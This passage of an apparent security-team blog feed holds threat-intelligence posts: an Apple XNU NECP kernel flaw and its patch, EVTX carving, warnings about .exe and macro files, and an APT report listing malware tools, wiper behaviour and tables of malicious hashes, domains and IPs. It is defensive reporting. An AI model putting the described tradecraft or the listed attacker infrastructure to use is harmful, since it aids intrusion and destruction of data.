<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/78a5b717-ef21-45be-a171-30fc6e3c27cf" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>194.154.25.188</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/05a5d93e-a5e8-42ba-9f68-777d2bcfc532" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>195.63.134.89</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/7182f407-7d7e-4f8b-a71a-2a3f670c9b20" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>213.218.212.19</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/d17bdc10-6644-41ff-8de4-0209cc6bd4c4" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>213.218.212.23</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/54a99aa1-a694-484c-850a-58ddcd457683" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>213.218.212.25</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/722d5bbc-4018-4e7f-9b7e-d556ee77981f" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>213.218.212.39</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/bee6f6b0-422a-4e37-8960-af279c719431" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>213.218.212.43</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/e7ddf49b-882a-46d1-9e62-600900719d36" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>213.218.212.55</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/72d7ee90-6e5e-4c84-8311-0f4265f43c58" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>213.218.212.65</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/f7a8392d-6f7b-4d3b-ba79-6f7376a4652e" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>213.218.212.70</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/2c8eeaa9-3eba-40f9-a6f0-375eb3f1fca6" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>213.218.212.200</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/69cc0a44-5f0a-499c-bf08-22ae11189cdc" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
</table>
<p><span class="hashtag">#malware</span> <span class="hashtag">#android</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>We helped Apple fix a vulnerability in the kernel of its operating systems</title>
		<link>https://ptesc.tech/en/we-helped-apple-fix-a-vulnerability-in-the-kernel-of-its-operating-systems/</link>
		
		<dc:creator><![CDATA[oUth0R]]></dc:creator>
		<pubDate>Fri, 25 Sep 2026 17:20:39 +0000</pubDate>
				<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[ios]]></category>
		<category><![CDATA[ir]]></category>
		<category><![CDATA[macos]]></category>
		<guid isPermaLink="false">https://ptesc.tech/%d0%bc%d1%8b-%d0%bf%d0%be%d0%bc%d0%be%d0%b3%d0%bb%d0%b8-apple-%d1%83%d1%81%d1%82%d1%80%d0%b0%d0%bd%d0%b8%d1%82%d1%8c-%d1%83%d1%8f%d0%b7%d0%b2%d0%b8%d0%bc%d0%be%d1%81%d1%82%d1%8c-%d0%b2-%d1%8f%d0%b4/</guid>

					<description><![CDATA[We helped Apple fix a vulnerability in the kernel of its operating systems PT ESC expert Mikhail Lozhnikov discovered a flaw that could cause a sudden system shutdown (kernel panic) or kernel memory corruption in Apple products. ⚠️ Vulnerab…]]></description>
										<content:encoded><![CDATA[<figure class="wp-block-video"><video controls preload="metadata" src="https://ptesc.tech/wp-content/uploads/2026/09/903.mp4"></video></figure>
<p><strong>We helped Apple fix a vulnerability in the kernel of its operating systems</strong></p>
<p>PT ESC expert <strong>Mikhail Lozhnikov</strong> discovered a flaw that could cause a sudden system shutdown (kernel panic) or kernel memory corruption in Apple products.</p>
<p>⚠️ Vulnerability <a href="https://dbugs.ptsecurity.com/vulnerability/PT-2026-76847?fts%5Bvalue%5D=CVE-2026-65330" rel="noopener" target="_blank">PT-2026-76847</a> (<a href="https://nvd.nist.gov/vuln/detail/cve-2026-65330" rel="noopener" target="_blank">CVE-2026-65330</a>) received a medium severity level — 6.5 on the CVSS 3.x scale.</p>
<p><strong>Sharing the details</strong></p>
<p>• The bug was discovered in the BSD subsystem of the XNU network stack (the macOS and iOS kernel) in the NECP (Network Extension Control Policy) component, which manages access rights of programs and applications to network interfaces.</p>
<p>• Interacting with NECP requires a process with privileged rights that is digitally signed (platform-signed).</p>
<p>• When an NECP session is closed, the kernel correctly frees the domain filters, but the domain trie (a prefix tree of domains) remains in the global list with a pointer to the already freed session memory.</p>
<p>• When a trie is deleted by identifier (ID), the kernel does not verify the owner.</p>
<p>• Any other session can delete someone else&#8217;s prefix tree, which can result in an error and cause the kernel to panic.</p>
<p><strong>🍏</strong><strong> Update your devices as soon as possible</strong></p>
<p>Apple has already released a security fix in <strong>iOS/iPadOS 26.6.1, macOS 26.6.2, tvOS 27, watchOS 27</strong> and <strong>visionOS 27</strong>.</p>
<p>Detailed information about the fixes has been published on Apple&#8217;s official pages: <a href="https://support.apple.com/en-us/148281" rel="noopener" target="_blank">macOS</a>, <a href="https://support.apple.com/en-bw/148282" rel="noopener" target="_blank">iOS and iPadOS</a>, <a href="https://support.apple.com/en-us/149036" rel="noopener" target="_blank">tvOS</a>, <a href="https://support.apple.com/en-us/149037" rel="noopener" target="_blank">watchOS</a> and <a href="https://support.apple.com/en-us/149038" rel="noopener" target="_blank">visionOS</a>.</p>
<p><span class="hashtag">#cve</span> <span class="hashtag">#ir</span> <span class="hashtag">#ios</span> <span class="hashtag">#macos</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		<enclosure url="https://ptesc.tech/wp-content/uploads/2026/09/903.mp4" length="934327" type="video/mp4" />

			</item>
		<item>
		<title>Recovering EVTX records: carving methods</title>
		<link>https://ptesc.tech/en/recovering-evtx-records-carving-methods/</link>
		
		<dc:creator><![CDATA[oUth0R]]></dc:creator>
		<pubDate>Wed, 23 Sep 2026 14:49:54 +0000</pubDate>
				<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[dfir]]></category>
		<category><![CDATA[ir]]></category>
		<category><![CDATA[tips]]></category>
		<guid isPermaLink="false">https://ptesc.tech/%d0%b2%d0%be%d1%81%d1%81%d1%82%d0%b0%d0%bd%d0%be%d0%b2%d0%bb%d0%b5%d0%bd%d0%b8%d0%b5-evtx-%d0%b7%d0%b0%d0%bf%d0%b8%d1%81%d0%b5%d0%b9-%d0%bc%d0%b5%d1%82%d0%be%d0%b4%d1%8b-%d0%ba%d0%b0%d1%80%d0%b2/</guid>

					<description><![CDATA[Recovering EVTX records: carving methods 🧩 When investigating incidents where attackers encrypt virtual machine images, a situation often arises in which the file system is damaged to such an extent that standard mounting becomes impossible…]]></description>
										<content:encoded><![CDATA[<p><strong>Recovering EVTX records: carving methods</strong> 🧩</p>
<p>When investigating incidents where attackers encrypt virtual machine images, a situation often arises in which the file system is damaged to such an extent that standard mounting becomes impossible. </p>
<p>Restoring it manually is theoretically possible, but it takes a lot of time and is accompanied by data loss. In such cases, carving is used — a byte-by-byte search for signatures directly in the raw image, bypassing the file system.</p>
<p>❗️ <strong>The PT ESC IR team prioritizes automating the parsing of artifacts for subsequent detection of malicious activity</strong> — this speeds up reconstructing the picture of the incident. </p>
<p>Our pipeline is predominantly implemented in Go, so we developed our own library in the same language. It parses ready-made EVTX files even when checksums do not match or the file is damaged, and also performs carving of events from bitwise copies, memory dumps, and virtual disk images.</p>
<p>For more on what can be recovered and why some approaches yield the full record structure while others yield only individual fields, <a href="https://habr.com/ru/companies/pt/articles/1084600/" rel="noopener" target="_blank">read our article on Habr</a> 🫲</p>
<p><span class="hashtag">#ir</span> <span class="hashtag">#dfir</span> <span class="hashtag">#tip</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>.exe .docm .xlsm</title>
		<link>https://ptesc.tech/en/exe-docm-xlsm/</link>
		
		<dc:creator><![CDATA[global_author]]></dc:creator>
		<pubDate>Fri, 18 Sep 2026 12:12:34 +0000</pubDate>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[malware]]></category>
		<guid isPermaLink="false">https://ptesc.tech/exe-docm-xlsm/</guid>

					<description><![CDATA[.exe .docm .xlsm Malicious files with these extensions are most often found in corporate network traffic. Let's take a basic look at why. 🖥 .exe — the classic executable file extension in Windows: double-click — and you launch Fortnite (no…]]></description>
										<content:encoded><![CDATA[<p><strong>.exe .docm .xlsm</strong></p>
<p>Malicious files with these extensions are most often found in corporate network traffic. Let&#8217;s take a basic look at why.</p>
<p>🖥 <strong>.exe — the classic executable file extension in Windows:</strong> double-click — and you launch Fortnite (no judgment), your browser, your favorite messenger, an installer, or any other program. Or you might launch a Trojan or some other piece of malware.</p>
<p>Most of the time you don&#8217;t even see that the file has this extension: by default, Windows has the &#8220;Hide extensions for known file types&#8221; feature enabled, so you only see the first part of the name. And attackers take advantage of this.</p>
<p>For example, they disguise a file as something harmless: instead of <code>zarplaty_sep_2026.pdf.exe</code>, you&#8217;ll just see <code>zarplaty_sep_2026.pdf</code>. It doesn&#8217;t raise suspicion, but it does spark curiosity. Click-click — and boom.</p>
<p>Anyway, for self-protection we recommend disabling this feature. It&#8217;s easy to do, and you&#8217;ll always know exactly what you&#8217;re clicking on.</p>
<p>📄 <strong>.docm and .xlsm — and these are the Microsoft Office document extensions familiar to every office worker.</strong> They&#8217;re often sent around via email, chats, and USB drives, so they usually don&#8217;t raise suspicion.</p>
<p>But something&#8217;s off with the last letters of these extensions — you might say, and you&#8217;d be right. Instead of an <code>x</code> at the end, there&#8217;s an <code>m</code>, which means these documents support macros — small programs in a special language called VBA that can perform actions inside the document. You may also come across the extensions <code>.dotm</code> and <code>.xltm</code> — these are document templates with macro support.</p>
<p>And just like with <code>.exe</code>, these extensions are hidden by default in Windows file names, so you just see the document icon and its name.</p>
<p>Macros are a useful thing that helps automate routine actions in documents (enthusiasts have even managed to run DOOM right inside Word with them). </p>
<p>But attackers use them too: you open what seems like an ordinary file, allow macros — and the commands embedded in them execute on your computer. For example, they can run a system command that downloads and launches another piece of malware.</p>
<p><strong>So here&#8217;s why we decided to explain all this</strong></p>
<p>1️⃣ Carefully watch what exactly you&#8217;re launching and what permissions you&#8217;re granting.</p>
<p>2️⃣ Our experts, using the PT Sandbox sandbox, analyzed malicious activity detected by PT NAD in the network traffic of organizations from October 2025 to July 2026. And 29% of dangerous files turned out to have the <code>.exe,</code> extension, while 26% had Microsoft Office extensions.</p>
<p>3️⃣ As you can imagine, these files are just the tip of the malware iceberg. Below in the networks, potentially dangerous tools that look legitimate were also discovered, along with various archive variations and more interesting finds.</p>
<p>You can read about them in the full version of <a href="https://ptsecurity.com/threats-in-network-traffic/?utm_source=tg_esc&#038;utm_medium=network&#038;utm_campaign=18_09" rel="noopener" target="_blank">the study on our website</a>.</p>
<p><span class="hashtag">#malware</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Operation Chewbacca</title>
		<link>https://ptesc.tech/en/operation-chewbacca/</link>
		
		<dc:creator><![CDATA[oUth0R]]></dc:creator>
		<pubDate>Tue, 15 Sep 2026 11:43:48 +0000</pubDate>
				<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[APT]]></category>
		<category><![CDATA[dfir]]></category>
		<category><![CDATA[ioc]]></category>
		<category><![CDATA[ir]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">https://ptesc.tech/%d0%be%d0%bf%d0%b5%d1%80%d0%b0%d1%86%d0%b8%d1%8f-chewbacca/</guid>

					<description><![CDATA[At the end of June, the PT ESC team, during incident investigations, discovered a new group targeting at least oil and gas companies and the financial sector. During attacks, the threat actors pursue destructive goals while maintaining a pr…]]></description>
										<content:encoded><![CDATA[<p>At the end of June, the PT ESC team, during incident investigations, discovered a new group targeting at least oil and gas companies and the financial sector.</p>
<p>During attacks, the threat actors pursue destructive goals while maintaining a presence in the compromised infrastructure for a fairly long time.</p>
<p>For lateral movement within the infrastructure, they primarily use <code>WinRM</code> (usually in combination with <a href="https://github.com/WinRb/winrm-fs/" rel="noopener" target="_blank">WinRb</a>) and <code>SSH</code>.</p>
<p>For persistence in the infrastructure, they mainly use server machines with high uptime (<code>Windows\Linux</code>); persistence is achieved via services in both cases. A wide range of tools is used as payloads:</p>
<ul>
<li>Agents for the <a href="https://github.com/Ne0nd0g/merlin" rel="noopener" target="_blank">merlin</a> framework.</li>
<li>An agent based on <a href="https://github.com/NHAS/reverse_ssh" rel="noopener" target="_blank">reverse_ssh</a>.</li>
<li>The <code>GoSocks5Proxy</code> utility based on <a href="https://github.com/things-go/go-socks5" rel="noopener" target="_blank">go-socks5</a>.</li>
<li><code>ReverseProxy</code> — a proprietary utility written in Rust.</li>
<li>The <code>GoRinet</code> backdoor. It uses config encryption with a key derived from the physical address of the network adapter.</li>
</ul>
<p>🐻 Various software is used to carry out destructive actions, including some that, by a number of indications, was developed using AI.</p>
<ul>
<li>The <code>T-Riper</code> wiper for network devices manufactured by <code>Cisco</code>/<code>Huawei</code> — deleting images, resetting device configuration, rebooting. They are used in combination with bash scripts for execution against remote targets.</li>
<li>A custom wiper for remotely deleting <code>QNAP</code> data.</li>
<li>To encrypt data on machines running Windows OS, a malware suite is used consisting of an orchestrator (with the ability to send encryption progress reports to a remote C2). Wiper generation is performed in a multithreaded manner, with individual executables created by adding &#8220;junk&#8221; to the overlay to evade detection. For automated propagation across the network, config files are used that specify known credentials from previously compromised accounts and target subnets.</li>
</ul>
<p>The use of the <code>CVE-2026-31431</code> vulnerability (<a href="https://github.com/tgies/copy-fail-c" rel="noopener" target="_blank">CopyFail</a>) for privilege escalation has also been noted, along with the custom tool <code>CredsReseter</code> for resetting passwords of Linux-like system accounts and Windows scripts for dumping credentials of third-party services.</p>
<h2>Recommendations:</h2>
<ul>
<li>Search for and monitor indicators of compromise.</li>
<li>Perform signature scanning.</li>
<li>Update the OS.</li>
</ul>
<h2>IoCs</h2>
<h4>File indicators:</h4>
<table>
<tr>
<th>Name</th>
<th>MD5</th>
<th style="text-align:center">PT Fusion</th>
</tr>
<tr>
<td><code>acgid</code></td>
<td>9f7a688faf61d895a5c1d09084f16436</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/1f43e287-7d1a-45d8-a9ac-3c1bde73f353" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>cf</code></td>
<td>4c5b89504269b1d73ee5b6449559da4b</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/03639742-ad58-416f-9299-640c4c604a95" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>mnworker.exe</code></td>
<td>a6d00278363e4916c4bc6ff6f36dfe6f</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/cc009c93-fafa-4d3c-ac89-da2639210b40" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>NetConfigSvc.exe</code></td>
<td>56fd630da404d4d8c5afd17eb3506b41</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/b4c8d275-6f28-4f80-b248-8cddfeaa24ea" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>NetSvcHelper.exe</code></td>
<td>272625644208beab5daa79f676efab9a</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/e2c082a5-61e9-4506-bae9-9b2ec1c5d374" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>powerd</code></td>
<td>0def5f0f50482c887a8fa645e1347e8d</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/b57e6b4d-46a4-4e41-9c7a-2a58df95885f" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>ProcessMonitor.exe</code></td>
<td>85a9e9de754b99095644726faf6124f7</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/9b04a605-b1bf-41a9-8abb-f2268c467dc8" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>rinetd</code></td>
<td>fe323f8f6d84464b7a7f35d694c64851</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/ee4946ff-05be-4ffd-aa6c-9be8178d5467" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>rinetd</code></td>
<td>3874e14eda06779d777f182c39ac9dfe</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/def73865-f356-4ae8-909f-7f75cc7e8c3e" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>rinetd</code></td>
<td>1841b49525e0b3ca1a17556e6af775c7</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/ce98287b-092a-4208-867d-138857a40d1c" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>systemd-acpid</code></td>
<td>fc5a346c6bbec19a8463977e05fa14c2</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/caa88e55-b725-4623-9fc8-42412fceecfc" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>systemd-acpid</code></td>
<td>aa59ebd082118ab7c0a0fded580364da</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/4d018ec6-d77d-4ec4-a6f0-c9eeb909efa1" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>systemd-network-check</code></td>
<td>fe323f8f6d84464b7a7f35d694c64851</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/035f473d-b4f0-42b4-aad0-bd8609e3a4f1" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>systemd-rinetd</code></td>
<td>cc622348b636e654d68763447cdb4599</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/92ca1443-bbd9-4a57-b9a3-4ed19b9b7fe0" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>systemd-rinetd</code></td>
<td>517ae29a0048d9f21d0debe9476b94e5</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/8e32f73f-203a-408f-a66e-123e35003ed4" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>systemd-rinetd</code></td>
<td>40c5c2686fbc451386fc296994664fa2</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/833a1f01-ff28-4f92-80c2-f2fd0d7ef11e" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>systemd-udiskd</code></td>
<td>9dec74a38d9b6e668d616b2ec45159d5</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/2204c96f-eaeb-4e10-be93-a9117872e683" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>systemd-udiskd</code></td>
<td>0df3c7d1f30e984318cf3a3a98b9d4d2</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/6b597426-c69c-4393-a6c3-991ac50df2a9" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>systemd-udiskd</code></td>
<td>005b0b12b59930845fabc6f45c6ca725</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/5dc5700c-910a-41ad-afc8-cc33e701e188" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>test</code></td>
<td>85ba7a059f33bf40fb1386fd506b38a7</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/901a17cb-c300-4787-b80c-b90bf10592d7" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>udiskd</code></td>
<td>846ec88090311868d4e19658ef538077</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/5174b645-410d-4985-8aa7-4df97aa2d92c" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>update</code></td>
<td>4b6526c735279faf3f938e480c75471b</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/7ddb51b6-a903-4f7a-b3a7-642c6acaeef6" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>w.exe</code></td>
<td>0acd888653dba95628f3f403f3c03295</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/9117b8f8-c441-4466-8734-8f53b54a70a3" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>watchdog.exe</code></td>
<td>d363776b4adc2f3a513e0637eb7e957f</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/fe0b49cb-092d-43bb-a8f0-c8803b232afe" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>worker.exe</code></td>
<td>b6e904360c346665117dc97a096f8f96</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/dd44a163-c8d7-41da-bf01-492809af4fa6" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>zabbix_trapper</code></td>
<td>e54147cf021827f5eb9c19f41e561aa3</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/53d7cec5-7436-4132-a986-2b3f28b82959" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>zabbix_trapper</code></td>
<td>da1d0a016d5ee5190475fe0a8d69e139</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/f4ecd8b1-f8c5-4e88-a54a-4edd1f15faf2" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>zabbix-agent</code></td>
<td>e8cdefcbf2850a233fe6f13f22ec0efb</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/7b67039c-1f2c-419f-bc11-0ff9cf1a7a36" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>zabbix-trapper</code></td>
<td>860fd8008365a3e61a21328b0c431076</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/910a909d-6635-4704-89b1-270c3845fa35" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>zabbix-trapper</code></td>
<td>72fbfee7fabc9be88f263604addb1860</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/2595466a-78f9-4893-aa13-b55aec171e40" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>znfs.exe</code></td>
<td>31d4623ef6d7501c48ac2b3f47e3db16</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/6133992e-db1f-4625-891f-5b9bba613c05" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
</table>
<h4>Network indicators</h4>
<table>
<tr>
<th>Address</th>
<th style="text-align:center">PT Fusion</th>
</tr>
<tr>
<td><code>adv-click-track.online</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/340ebc5f-fbcc-428f-8326-d376176cd547" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>adv-click-track.space</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/60779cde-8139-4c22-87ec-0644482691f8" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>cdn.debian-check.space</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/ec2009ca-6479-4091-91f7-67fd3ca5fc55" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>check.cert-update.online</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/9e305ae2-8a50-4efc-a78d-1f6afac461da" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>dpkg.debian-check.cloud</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/3a06f1b2-9e00-48cb-bc28-973d136abff8" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>scrt.vdyke.online</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/fcb62ad0-8212-4361-aacb-947a17ac0fff" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>status.cert-update.space</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/912be00e-8521-45aa-b958-d160b377986e" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>195.58.137.115</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/e5eb7d34-2df4-41d6-916e-5977ab2897d3" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>199.119.136.138</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/384d0b0e-ed0b-44b9-9f60-01dc4f3cd120" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>213.139.205.166</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/5d226d28-23ef-4dbf-9be6-1b83794ff478" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>216.146.26.31</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/af843866-7e01-4bbc-ac9e-e3eef7c8c431" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>45.145.171.112</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/6bee73b4-d2bf-4c5b-a915-29e52796e9f1" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>45.59.170.247</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/e36e99b7-0c72-48b2-9a2b-a1c54a93a1c6" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>91.221.191.228</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/126d3776-d330-4fcd-93b0-36774d1fdf02" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>94.124.160.113</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/afadbed6-2ee9-4b30-a114-9d8c8a97f88a" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>94.124.160.12</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/c20b7fda-0f31-4c6a-8477-7b770d62ee93" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
</table>
<p><span class="hashtag">#ir</span> <span class="hashtag">#dfir</span> <span class="hashtag">#ti</span> <span class="hashtag">#malware</span> <span class="hashtag">#apt</span> <span class="hashtag">#ioc</span> <br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Your Zimbra server is at risk</title>
		<link>https://ptesc.tech/en/your-zimbra-server-is-at-risk/</link>
		
		<dc:creator><![CDATA[oUth0R]]></dc:creator>
		<pubDate>Thu, 10 Sep 2026 16:23:41 +0000</pubDate>
				<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[detect]]></category>
		<category><![CDATA[dfir]]></category>
		<category><![CDATA[ioc]]></category>
		<category><![CDATA[ir]]></category>
		<category><![CDATA[malware]]></category>
		<guid isPermaLink="false">https://ptesc.tech/%d0%b2%d0%b0%d1%88-%d1%81%d0%b5%d1%80%d0%b2%d0%b5%d1%80-zimbra-%d0%bf%d0%be%d0%b4-%d1%83%d0%b3%d1%80%d0%be%d0%b7%d0%be%d0%b9/</guid>

					<description><![CDATA[Recently, our PT ESC IR team encountered a new attack by ransomware groups on Zimbra mail servers using the vulnerability CVE-2026-73570 and the TargetZimbra encryptor. According to open-source information, similar attacks have been massive…]]></description>
										<content:encoded><![CDATA[<p>Recently, our PT ESC IR team encountered a new attack by ransomware groups on Zimbra mail servers using the vulnerability <a href="https://nvd.nist.gov/vuln/detail/cve-2026-73570" rel="noopener" target="_blank">CVE-2026-73570</a> and the TargetZimbra encryptor. According to open-source information, similar attacks have been massively recorded on Zimbra servers since mid-August.</p>
<p><em>Disclaimer: if you are using an outdated version of Zimbra software and have not found the below indicators of compromise for this specific TargetZimbra encryptor campaign on your mail server, this does not mean that your server is guaranteed not to be compromised. The vulnerability CVE-2026-73570 may be used by other threat actors, for example, to install miners, as well as by APT groups aimed at compromising the infrastructure of an entire organization.</p>
<p></em></p>
<blockquote>
